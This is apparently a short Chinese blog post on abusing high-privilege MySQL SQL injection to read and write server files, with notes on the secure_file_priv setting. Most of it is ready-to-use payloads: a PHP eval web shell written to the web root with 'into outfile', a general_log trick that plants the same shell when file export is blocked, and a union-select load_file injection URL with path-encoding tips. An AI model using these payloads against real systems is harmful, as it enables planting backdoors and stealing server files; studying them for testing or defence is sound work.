sql注入--高权限,load_file读写文件

select '<?php eval($_POST[123]) ?>' into outfile '/var/www/html/1.php';

1.MYSQL新特性限制文件写入及替代方法

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv选项

secure_file_priv 

  1、限制mysqld 不允许导入 | 导出
        --secure_file_prive=null

  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
      --secure_file_priv=/tmp/

  3、不对mysqld 的导入 | 导出做限制
              --secure_file_priv= 

linux
cat /etc/my.cnf
    [mysqld]
    secure_file_priv= 

win
    my.ini
       [mysqld]
     secure_file_priv=

查看secure_file_priv

show global variables like '%secure%';

高权限注入遇到secure_file_priv

在mysql高版本的配置文件中默认没有secure_file_priv这个选项,但是你用SQL语句来查看secure_file_priv发现,没配置这个选项就是NULL,也就是说无法导出文件。

替代方法:
要知道路径

set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '<?php eval($_POST[123]) ?>';


2高权限文件读写

load_file()读文件

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

1.路径使用\\ ,否则会被当作转义符号
2.路径使用/
3.盘符根路径下可用c:admin.txt
4.16进制文件名
5.char(路径ascii)

into outfile / into dumpfile写文件

参考连接:http://admintony.com/2017/11/24/MYSQL新特性限制文件写入及替代方法/

posted @ 2018-05-01 02:26  晓枫v5  阅读(18167)  评论(0编辑  收藏  举报